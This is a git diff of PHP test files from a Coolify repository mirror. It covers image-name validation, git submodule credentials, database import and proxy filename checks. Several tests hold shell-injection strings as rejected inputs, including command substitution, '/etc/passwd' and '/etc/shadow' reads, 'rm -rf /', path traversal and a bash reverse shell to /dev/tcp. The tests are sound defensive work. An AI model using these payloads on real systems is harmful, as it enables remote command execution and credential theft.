mirror of
https://github.com/tiennm99/coolify.git
synced 2026-10-14 08:18:08 +00:00
Merge branch 'next' into fix/deploy-key-dedicated-path-race
This commit is contained in:
202 files changed
+7287
-3137
No files matched your search
@@ -447,6 +447,15 @@ it('container prune excludes persistent resource types', function () {
|
||||
expect($sourceFile)->toContain('label=coolify.managed=true');
|
||||
});
|
||||
|
||||
it('uses persisted buildx metadata when pruning the railpack builder', function () {
|
||||
$sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
|
||||
|
||||
expect($sourceFile)
|
||||
->toContain('docker run --rm -v \\$HOME/.docker/buildx:/root/.docker/buildx')
|
||||
->toContain('docker buildx prune --builder coolify-railpack -af')
|
||||
->not->toContain('--buildkitd-flags');
|
||||
});
|
||||
|
||||
it('preserves build image for currently running tag', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
<?php
|
||||
|
||||
it('persists buildx metadata between the helper container and host cleanup', function () {
|
||||
$sourceFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
|
||||
|
||||
expect($sourceFile)
|
||||
->toContain('mkdir -p {$this->serverUserHomeDir}/.docker/buildx')
|
||||
->toContain('-v {$this->serverUserHomeDir}/.docker/buildx:/root/.docker/buildx');
|
||||
|
||||
expect(substr_count($sourceFile, '{$buildxMetadataVolume} -v /var/run/docker.sock:/var/run/docker.sock'))->toBe(3);
|
||||
});
|
||||
@@ -74,3 +74,60 @@ it('falls back to latest when neither preview nor application tags are set', fun
|
||||
|
||||
expect($method->invoke($job))->toBe('latest');
|
||||
});
|
||||
|
||||
function makeDockerRegistryTagPushJob(int $pullRequestId, ?string $dockerRegistryImageTag): object
|
||||
{
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = $reflection->newInstanceWithoutConstructor();
|
||||
|
||||
$pullRequestProperty = $reflection->getProperty('pull_request_id');
|
||||
$pullRequestProperty->setAccessible(true);
|
||||
$pullRequestProperty->setValue($job, $pullRequestId);
|
||||
|
||||
$applicationProperty = $reflection->getProperty('application');
|
||||
$applicationProperty->setAccessible(true);
|
||||
$applicationProperty->setValue($job, new Application([
|
||||
'docker_registry_image_tag' => $dockerRegistryImageTag,
|
||||
]));
|
||||
|
||||
return $job;
|
||||
}
|
||||
|
||||
it('pushes the configured docker registry image tag for production deployments', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = makeDockerRegistryTagPushJob(
|
||||
pullRequestId: 0,
|
||||
dockerRegistryImageTag: 'latest',
|
||||
);
|
||||
|
||||
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBeTrue();
|
||||
});
|
||||
|
||||
it('skips the configured docker registry image tag for preview deployments', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = makeDockerRegistryTagPushJob(
|
||||
pullRequestId: 42,
|
||||
dockerRegistryImageTag: 'latest',
|
||||
);
|
||||
|
||||
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBeFalse();
|
||||
});
|
||||
|
||||
it('skips pushing a configured docker registry image tag when no tag is set', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = makeDockerRegistryTagPushJob(
|
||||
pullRequestId: 0,
|
||||
dockerRegistryImageTag: null,
|
||||
);
|
||||
|
||||
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,109 @@
|
||||
<?php
|
||||
|
||||
use App\Exceptions\DeploymentException;
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Rules\DockerImageFormat;
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
it('accepts valid docker registry image names', function (string $imageName) {
|
||||
expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeTrue();
|
||||
})->with([
|
||||
'single component' => 'nginx',
|
||||
'namespace image' => 'library/nginx',
|
||||
'ghcr image' => 'ghcr.io/coollabsio/coolify',
|
||||
'repository component with repeated hyphens' => 'ghcr.io/acme/my--service',
|
||||
'registry with port' => 'registry.example.com:5000/team/app',
|
||||
'digest marker used by existing dockerimage records' => 'nginx@sha256',
|
||||
]);
|
||||
|
||||
it('rejects docker registry image names with shell metacharacters', function (string $imageName) {
|
||||
expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeFalse();
|
||||
})->with([
|
||||
'command substitution' => 'coolify/poc$(touch /tmp/pwned)',
|
||||
'semicolon' => 'coolify/poc;id',
|
||||
'backticks' => 'coolify/poc`id`',
|
||||
'pipe' => 'coolify/poc|id',
|
||||
'logical and' => 'coolify/poc&&id',
|
||||
'newline' => "coolify/poc\nid",
|
||||
'space' => 'coolify/poc image',
|
||||
'tag in image-name-only field' => 'coolify/poc:latest',
|
||||
]);
|
||||
|
||||
it('accepts valid docker registry image tags', function (string $tag) {
|
||||
expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeTrue();
|
||||
})->with([
|
||||
'latest' => 'latest',
|
||||
'version' => 'v1.2.3',
|
||||
'uppercase and underscore' => 'PR_123',
|
||||
'sha256 hash' => '1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
'legacy sha256 prefixed hash' => 'sha256-1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
]);
|
||||
|
||||
it('rejects docker registry image tags with shell metacharacters', function (string $tag) {
|
||||
expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeFalse();
|
||||
})->with([
|
||||
'command substitution' => 'latest$(touch /tmp/pwned)',
|
||||
'semicolon' => 'latest;id',
|
||||
'backticks' => 'latest`id`',
|
||||
'pipe' => 'latest|id',
|
||||
'logical and' => 'latest&&id',
|
||||
'newline' => "latest\nid",
|
||||
]);
|
||||
|
||||
it('accepts supported full docker image reference formats', function (string $imageReference) {
|
||||
$failures = [];
|
||||
|
||||
(new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void {
|
||||
$failures[] = $message;
|
||||
});
|
||||
|
||||
expect($failures)->toBeEmpty();
|
||||
})->with([
|
||||
'image with tag' => 'nginx:latest',
|
||||
'registry image with tag' => 'ghcr.io/user/app:v1.2.3',
|
||||
'image with sha256 digest' => 'nginx@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
'registry image with sha256 digest' => 'ghcr.io/user/app@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
'registry port image with tag' => 'localhost:5000/app:latest',
|
||||
]);
|
||||
|
||||
it('rejects unsupported full docker image reference formats', function (string $imageReference) {
|
||||
$failures = [];
|
||||
|
||||
(new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void {
|
||||
$failures[] = $message;
|
||||
});
|
||||
|
||||
expect($failures)->not->toBeEmpty();
|
||||
})->with([
|
||||
'colon sha256 marker' => 'nginx:sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
'command substitution' => 'nginx:latest$(touch /tmp/pwned)',
|
||||
'newline' => "nginx:latest\nid",
|
||||
]);
|
||||
|
||||
it('stops deployments when a stored docker registry image value is unsafe', function () {
|
||||
$job = (new ReflectionClass(ApplicationDeploymentJob::class))->newInstanceWithoutConstructor();
|
||||
|
||||
$application = new Application([
|
||||
'docker_registry_image_name' => 'coolify/poc$(touch /tmp/pwned)',
|
||||
'docker_registry_image_tag' => 'latest',
|
||||
]);
|
||||
$deploymentQueue = new ApplicationDeploymentQueue([
|
||||
'docker_registry_image_tag' => null,
|
||||
]);
|
||||
|
||||
$jobReflection = new ReflectionClass($job);
|
||||
foreach ([
|
||||
'application' => $application,
|
||||
'application_deployment_queue' => $deploymentQueue,
|
||||
'dockerImagePreviewTag' => null,
|
||||
] as $property => $value) {
|
||||
$reflectionProperty = $jobReflection->getProperty($property);
|
||||
$reflectionProperty->setValue($job, $value);
|
||||
}
|
||||
|
||||
$method = $jobReflection->getMethod('validateDockerRegistryImageConfiguration');
|
||||
|
||||
expect(fn () => $method->invoke($job))->toThrow(DeploymentException::class);
|
||||
});
|
||||
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models {
|
||||
function generateGithubInstallationToken(GithubApp $source): string
|
||||
{
|
||||
return 'review token/with+symbols';
|
||||
}
|
||||
}
|
||||
|
||||
namespace {
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Models\GithubApp;
|
||||
|
||||
test('private github app submodule credentials use per command git config', function () {
|
||||
$application = new Application;
|
||||
$application->forceFill([
|
||||
'uuid' => 'test-app-uuid',
|
||||
'git_repository' => 'coollabsio/private-app',
|
||||
'git_branch' => 'main',
|
||||
'git_commit_sha' => 'HEAD',
|
||||
]);
|
||||
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->is_git_shallow_clone_enabled = false;
|
||||
$settings->is_git_submodules_enabled = true;
|
||||
$settings->is_git_lfs_enabled = false;
|
||||
$application->setRelation('settings', $settings);
|
||||
|
||||
$source = new GithubApp;
|
||||
$source->forceFill([
|
||||
'html_url' => 'https://github.com',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'is_public' => false,
|
||||
]);
|
||||
$application->setRelation('source', $source);
|
||||
|
||||
$result = $application->generateGitImportCommands(
|
||||
deployment_uuid: 'test-deployment',
|
||||
exec_in_docker: false,
|
||||
);
|
||||
|
||||
expect($result['commands'])
|
||||
->not->toContain('git config --global')
|
||||
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' clone --recurse-submodules -b 'main'")
|
||||
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' submodule sync")
|
||||
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' submodule update --init --recursive");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,168 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Models\GitlabApp;
|
||||
use App\Models\PrivateKey;
|
||||
|
||||
describe('Git submodule credential propagation', function () {
|
||||
beforeEach(function () {
|
||||
$this->application = new Application;
|
||||
$this->application->forceFill([
|
||||
'uuid' => 'test-app-uuid',
|
||||
'git_commit_sha' => 'HEAD',
|
||||
]);
|
||||
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->is_git_shallow_clone_enabled = false;
|
||||
$settings->is_git_submodules_enabled = true;
|
||||
$settings->is_git_lfs_enabled = false;
|
||||
$this->application->setRelation('settings', $settings);
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided gitSshCommand for submodule update', function () {
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
gitSshCommand: $sshCommand
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')
|
||||
->toContain('git submodule sync');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses default ssh command when no gitSshCommand provided', function () {
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided gitSshCommand for fetch and checkout', function () {
|
||||
$this->application->git_commit_sha = 'abc123def456';
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
gitSshCommand: $sshCommand
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git -c advice.detachedHead=false checkout');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided gitSshCommand for shallow fetch', function () {
|
||||
$this->application->git_commit_sha = 'abc123def456';
|
||||
$this->application->settings->is_git_shallow_clone_enabled = true;
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
gitSshCommand: $sshCommand
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch --depth=1 origin');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided gitSshCommand for lfs pull', function () {
|
||||
$this->application->settings->is_git_lfs_enabled = true;
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
gitSshCommand: $sshCommand
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git lfs pull');
|
||||
});
|
||||
|
||||
test('buildGitCheckoutCommand includes GIT_SSH_COMMAND for submodule update when provided', function () {
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa';
|
||||
|
||||
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
|
||||
$result = $method->invoke($this->application, 'main', $sshCommand);
|
||||
|
||||
expect($result)
|
||||
->toContain("git checkout 'main'")
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive');
|
||||
});
|
||||
|
||||
test('buildGitCheckoutCommand uses default ssh command for submodule update when none provided', function () {
|
||||
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
|
||||
$result = $method->invoke($this->application, 'main');
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
|
||||
});
|
||||
|
||||
test('buildGitCheckoutCommand omits submodule update when submodules disabled', function () {
|
||||
$this->application->settings->is_git_submodules_enabled = false;
|
||||
|
||||
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
|
||||
$result = $method->invoke($this->application, 'main');
|
||||
|
||||
expect($result)
|
||||
->toContain("git checkout 'main'")
|
||||
->not->toContain('submodule');
|
||||
});
|
||||
|
||||
test('generateGitImportCommands uses GitLab private key for PR submodule checkout', function () {
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->is_git_shallow_clone_enabled = false;
|
||||
$settings->is_git_submodules_enabled = true;
|
||||
$settings->is_git_lfs_enabled = false;
|
||||
|
||||
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
|
||||
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
|
||||
|
||||
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
|
||||
$gitlabSource->shouldReceive('getMorphClass')->andReturn(GitlabApp::class);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('html_url')->andReturn('https://gitlab.com');
|
||||
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->git_commit_sha = 'HEAD';
|
||||
$application->setRelation('settings', $settings);
|
||||
$application->source = $gitlabSource;
|
||||
$application->shouldReceive('deploymentType')->andReturn('source');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => 'git@gitlab.com:user/repo.git',
|
||||
'port' => 22,
|
||||
]);
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
|
||||
|
||||
$result = $application->generateGitImportCommands(
|
||||
deployment_uuid: 'test-uuid',
|
||||
pull_request_id: 123,
|
||||
git_type: 'gitlab',
|
||||
exec_in_docker: false,
|
||||
);
|
||||
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
|
||||
|
||||
expect($result['commands'])
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch origin merge-requests/123/head:pr-123-coolify')
|
||||
->toContain("git checkout 'pr-123-coolify'")
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')
|
||||
->not->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
|
||||
});
|
||||
|
||||
});
|
||||
@@ -1,16 +1,26 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
|
||||
function importFormWithResource(string $modelClass): ImportForm
|
||||
{
|
||||
$component = new class extends ImportForm
|
||||
{
|
||||
public $resource;
|
||||
};
|
||||
|
||||
$database = Mockery::mock($modelClass);
|
||||
$database->shouldReceive('getMorphClass')->andReturn($modelClass);
|
||||
$component->resource = $database;
|
||||
|
||||
return $component;
|
||||
}
|
||||
|
||||
test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandalonePostgresql');
|
||||
$component->dumpAll = false;
|
||||
$component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandalonePostgresql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('pg_restore');
|
||||
@@ -18,30 +28,21 @@ test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandalonePostgresql');
|
||||
$component->dumpAll = true;
|
||||
// This is the full dump-all command prefix that would be set in the updatedDumpAll method
|
||||
$component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandalonePostgresql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('gunzip -cf /tmp/test.dump');
|
||||
expect($result)->toContain('psql -U $POSTGRES_USER postgres');
|
||||
expect($result)->toContain('psql -U ${POSTGRES_USER} -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MySQL without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandaloneMysql');
|
||||
$component->dumpAll = false;
|
||||
$component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMysql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mysql -u $MYSQL_USER');
|
||||
@@ -49,31 +50,23 @@ test('buildRestoreCommand handles MySQL without dumpAll', function () {
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MariaDB without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandaloneMariadb');
|
||||
$component->dumpAll = false;
|
||||
$component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMariadb');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mariadb -u $MARIADB_USER');
|
||||
expect($result)->toContain('< /tmp/test.dump');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MongoDB', function () {
|
||||
$component = new Import;
|
||||
$component->dumpAll = false;
|
||||
test('buildRestoreCommand always appends the MongoDB archive path', function (bool $dumpAll) {
|
||||
$component = importFormWithResource('App\Models\StandaloneMongodb');
|
||||
$component->dumpAll = $dumpAll;
|
||||
$component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMongodb');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mongorestore');
|
||||
expect($result)->toContain('/tmp/test.dump');
|
||||
});
|
||||
expect($result)->toContain('--archive=/tmp/test.dump');
|
||||
})->with([false, true]);
|
||||
@@ -1,15 +1,11 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Models\Server;
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
|
||||
test('checkFile does nothing when customLocation is empty', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '';
|
||||
|
||||
$mockServer = Mockery::mock(Server::class);
|
||||
$component->server = $mockServer;
|
||||
|
||||
// No server commands should be executed when customLocation is empty
|
||||
$component->checkFile();
|
||||
|
||||
@@ -17,19 +13,16 @@ test('checkFile does nothing when customLocation is empty', function () {
|
||||
});
|
||||
|
||||
test('checkFile validates file exists on server when customLocation is filled', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '/tmp/backup.sql';
|
||||
|
||||
$mockServer = Mockery::mock(Server::class);
|
||||
$component->server = $mockServer;
|
||||
|
||||
// This test verifies the logic flows when customLocation has a value
|
||||
// The actual remote process execution is tested elsewhere
|
||||
expect($component->customLocation)->toBe('/tmp/backup.sql');
|
||||
});
|
||||
|
||||
test('customLocation can be cleared to allow uploaded file to be used', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '/tmp/backup.sql';
|
||||
|
||||
// Simulate clearing the customLocation (as happens when file is uploaded)
|
||||
@@ -39,7 +32,7 @@ test('customLocation can be cleared to allow uploaded file to be used', function
|
||||
});
|
||||
|
||||
test('validateBucketName accepts valid bucket names', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateBucketName');
|
||||
|
||||
// Valid bucket names
|
||||
@@ -51,7 +44,7 @@ test('validateBucketName accepts valid bucket names', function () {
|
||||
});
|
||||
|
||||
test('validateBucketName rejects invalid bucket names', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateBucketName');
|
||||
|
||||
// Invalid bucket names (command injection attempts)
|
||||
@@ -65,7 +58,7 @@ test('validateBucketName rejects invalid bucket names', function () {
|
||||
});
|
||||
|
||||
test('validateS3Path accepts valid S3 paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateS3Path');
|
||||
|
||||
// Valid S3 paths
|
||||
@@ -77,7 +70,7 @@ test('validateS3Path accepts valid S3 paths', function () {
|
||||
});
|
||||
|
||||
test('validateS3Path rejects invalid S3 paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateS3Path');
|
||||
|
||||
// Invalid S3 paths (command injection attempts)
|
||||
@@ -97,7 +90,7 @@ test('validateS3Path rejects invalid S3 paths', function () {
|
||||
});
|
||||
|
||||
test('validateServerPath accepts valid server paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateServerPath');
|
||||
|
||||
// Valid server paths (must be absolute)
|
||||
@@ -108,7 +101,7 @@ test('validateServerPath accepts valid server paths', function () {
|
||||
});
|
||||
|
||||
test('validateServerPath rejects invalid server paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateServerPath');
|
||||
|
||||
// Invalid server paths
|
||||
|
||||
@@ -163,7 +163,7 @@ it('accepts stored Caddy config when proxy type is CADDY', function () {
|
||||
});
|
||||
|
||||
it('accepts stored config when YAML parsing fails', function () {
|
||||
$invalidYaml = "this: is: not: [valid yaml: {{{}}}";
|
||||
$invalidYaml = 'this: is: not: [valid yaml: {{{}}}';
|
||||
$server = mockServerWithDbConfig($invalidYaml, 'TRAEFIK');
|
||||
|
||||
// Invalid YAML should not block — configMatchesProxyType returns true on parse failure
|
||||
|
||||
@@ -12,43 +12,69 @@
|
||||
* - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
|
||||
*/
|
||||
test('proxy configuration rejects command injection in filename with command substitution', function () {
|
||||
expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with semicolon', function () {
|
||||
expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with pipe', function () {
|
||||
expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with backticks', function () {
|
||||
expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with ampersand', function () {
|
||||
expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with redirect operators', function () {
|
||||
expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects reverse shell payload', function () {
|
||||
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects path traversal filenames', function (string $filename) {
|
||||
expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
})->with([
|
||||
'../VICTIM_FILE',
|
||||
'../../etc/shadow',
|
||||
'/etc/passwd',
|
||||
'subdir/config.yaml',
|
||||
'subdir\\config.yaml',
|
||||
'config..yaml',
|
||||
"config.yaml\0../../etc/passwd",
|
||||
